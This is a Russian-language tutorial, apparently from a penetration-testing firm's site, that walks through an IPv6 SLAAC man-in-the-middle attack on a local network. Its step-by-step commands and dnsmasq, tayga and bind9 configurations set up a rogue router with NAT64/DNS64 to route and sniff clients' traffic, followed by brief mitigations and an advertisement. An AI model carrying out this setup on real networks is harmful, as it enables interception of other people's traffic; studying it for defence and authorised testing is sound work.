Атака IPv6 SLAAC. MitM атака в локальной сети с использованием IPv6

Сегодня мы поговорим о реализации атаки Man-in-the-Middle IPv6 SLAAC.

Смысл атаки в том, что мы становимся единственным IPv6 маршрутизатором в сети и раздаем адреса из своей IPv6 подсети, клиенты автоматически генерируют себе IP адреса (SLAAC), или получают от нашего DHCPv6 сервера. Естественно они получают все адреса с нашими настройками, что позволяет стать точкой прохождения траффика между клиентами и всеми остальными (из-за того, что IPv6 в большинстве систем имеет более высокий приоритет чем IPv4). А фильтровать Router Advertisement (анонс себя в качестве маршрутизатора) умеют далеко не все коммутаторы (в том числе и современные).
Остается только поднять NAT64 и с помощью него преобразовывать и транслировать IPv6 в IPv4.

Начнем с установки все нужных нам сервисов: DNS64 (bind9), NAT64 (tayga), DHCP (dnsmasq)

apt-get install tayga bind9 dnsmasq

у нас будет две сети. Одна сеть для раздачи адресов клиентам с маской 64, а вторая (с маской 96) для зеркалирования всего диапазона ipv4.

Первым делом сконфигурируем сетевой адаптер для его работы в IPv6 сети.
для этого открываем /etc/network/interfaces и добавляем нужные нам параметры адреса и маски (не забываем перезапустить сеть)

iface eth0 inet6 static
address fde4:8dba:82e1:ffff::1
netmask 64

или, если не требуется сохранение при перезагрузке, можно задать адрес командой:

ifconfig eth1 inet6 add fde4:8dba:82e1:ffff::1/64

включим пересылку (форвардинг) пакетов.
Для этого откроем /etc/sysctl.conf и изменим в нем строки:

net.ipv4.ip_forward=1
net.ipv6.conf.all.forwarding=1

Обновим настройки sysctl (либо можно перезагрузить систему):

sysctl -p

Следующим шагом сконфигурируем dnsmasq. на нем выключим ответчик DNS и включим раздачу DHCP для IPv6.
Открываем /etc/dnsmasq.conf и исправляем (или добавляем) следующие параметры:

port=0 # выключаем ответчик DNS (для этих целей будет использоваться bind9)
enable-ra # включаем анонсы, что мы являемся маршрутизатором.
# раздаем адреса
dhcp-range=fde4:8dba:82e1:ffff::2, fde4:8dba:82e1:ffff::ff, slaac, 64
dhcp-range=fde4:8dba:82e1:ffff::, ra-only, 64

dhcp-range повторяется два раза чтобы устройство точно получило IPv6 адрес. Один раз Router Advertisement передается с установленными флагами M и O, а второй со сброшенными. Это происходит из-за того, что у некоторых устройств другой алгоритм получения IPv6 адреса.

Теперь настроим трансляцию адресов IPv6 в IPv4 (NAT64).
Для этого изменим файл конфигурации Tayga, находящийся по адресу /etc/tayga.conf

tun-device nat64
ipv4-addr 192.168.255.1
ipv6-addr 2001:db8:1::2
prefix 2001:db8:1:ffff::/96
dynamic-pool 192.168.255.0/24
data-dir /var/spool/tayga

tun-device — имя создаваемого виртуального устройства для трансляции адресов
ipv4-addr — внутренний адрес из сети IPv4 (сеть существует только для сервиса Tayga)
ipv6-addr — внутренний адрес из сети IPv6 (сеть используется для трансляции адресов)
prefix — добавляемый префикс для адресов IPv4 при трансляции в IPv6
dynamic-pool — сеть IPv4 для внутренних нужд сервиса (так же виртуальная)
data-dir — путь для хранения данных сервисом

и наконец настроим bind9 для трансляции адресов (DNS64)
настраивать зону будем в файле /etc/bind/named.conf.options

Приведу полную версию конфига с комментариями:

options {
# добавляем вышестоящий DNS сервер для запросов
forwarders {
8.8.8.8;
};
dnssec-validation auto;
auth-nxdomain no; # conform to RFC1035
listen-on-v6 { any; }; # разрешаем слушать IPv6 для всех сетевых интерфейсов
listen-on { any; };
allow-query {any; };
# включаем префикс для трансляции адресов и разрешаем запросы для всех клиентов
dns64 2001:db8:1:ffff::/96 {
clients { any; };
};

};

Теперь остается только перезапустить все три сервиса и все компьютеры в сети начнут получать адреса IPv6 с адресами DNS и шлюза, а т.к. в большинстве систем IPv6 приоритетнее IPv4 то трафик пойдет через наш маршрутизатор. Остается только включить сниффер.

Далее идут скриншоты с пользовательской системы после успешно проведенной атаки.

Полученные адреса

Ping и Nslookup

Защититься от данной атаки можно отключением IPv6 в локальной сети (особенно если IPv6 в ней не используется). Либо настраивать фильтрацию на коммутаторах фильтрацию Router Advertisement с недоверенных портов.

Заказать Аудит Безопасности или Пентест Вашей IT-инфраструктуры

Быть уверенным в своей IT-инфраструктуре — это быть уверенным в завтрашнем дне.

Для того, чтобы сделать заказ:

Заполните форму обратной связи и мы обязательно с вам свяжемся:
Форма обратной связи
Позвоните нам по телефону:
+7(909)952-44-33
Напишите нам на электронную почту:
order@blackdiver.net
Напишите нам в Telegram:
Telegram
Другие способы связи Вы сможете найти в разделе Контакты.